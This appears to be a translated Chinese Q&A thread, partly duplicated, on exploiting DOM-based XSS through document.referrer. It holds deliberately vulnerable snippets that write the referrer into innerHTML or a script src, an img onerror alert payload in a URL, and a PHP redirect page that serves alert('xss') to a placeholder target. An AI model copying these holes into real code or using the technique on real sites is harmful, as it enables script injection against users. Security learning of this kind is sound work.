一个非常简单的例子...
<div id="cat"></div>
<script>
document.getElementById("cat").innerHTML = document.referrer;
</script>
或者
<script src="' + document.referrer + '"></script>
我试过简单地发送请求并添加一个引用标头,但这似乎并没有在页面上回显。
一个非常简单的例子...
<div id="cat"></div>
<script>
document.getElementById("cat").innerHTML = document.referrer;
</script>
或者
<script src="' + document.referrer + '"></script>
我试过简单地发送请求并添加一个引用标头,但这似乎并没有在页面上回显。
更新的浏览器将对引荐来源网址进行编码。
因此,您的示例现在无法触发 XSS。
试试这个:
<div id="cat"></div>
<script>
document.getElementById("cat").innerHTML = decodeURIComponent(document.referrer);
</script>
JSFIDDLE:
http://jsfiddle.net/y4afy8h9/1/?<img%20src=x%20onerror=alert(9)>?
以下代码易受基于 DOM 的 XSS 攻击,因为浏览器会跟踪攻击者控制的document.referrer值:
<script src="' + document.referrer + '"></script>
上面的代码可以使用一个页面来利用,该页面在第一次加载时将浏览器重定向到您的目标,在第二次加载时它返回一个 XSS 有效负载。一种方法是在服务器端检查引用者:
<?php
if($_SERVER['HTTP_REFERER'] == 'http://target.com/xss'){
print "alert('xss')";
}else{
header("location: http://target.com/xss")
}
?>
当页面http://target.com/xss加载时,来自document.referer的javascript将加载alert('xss')。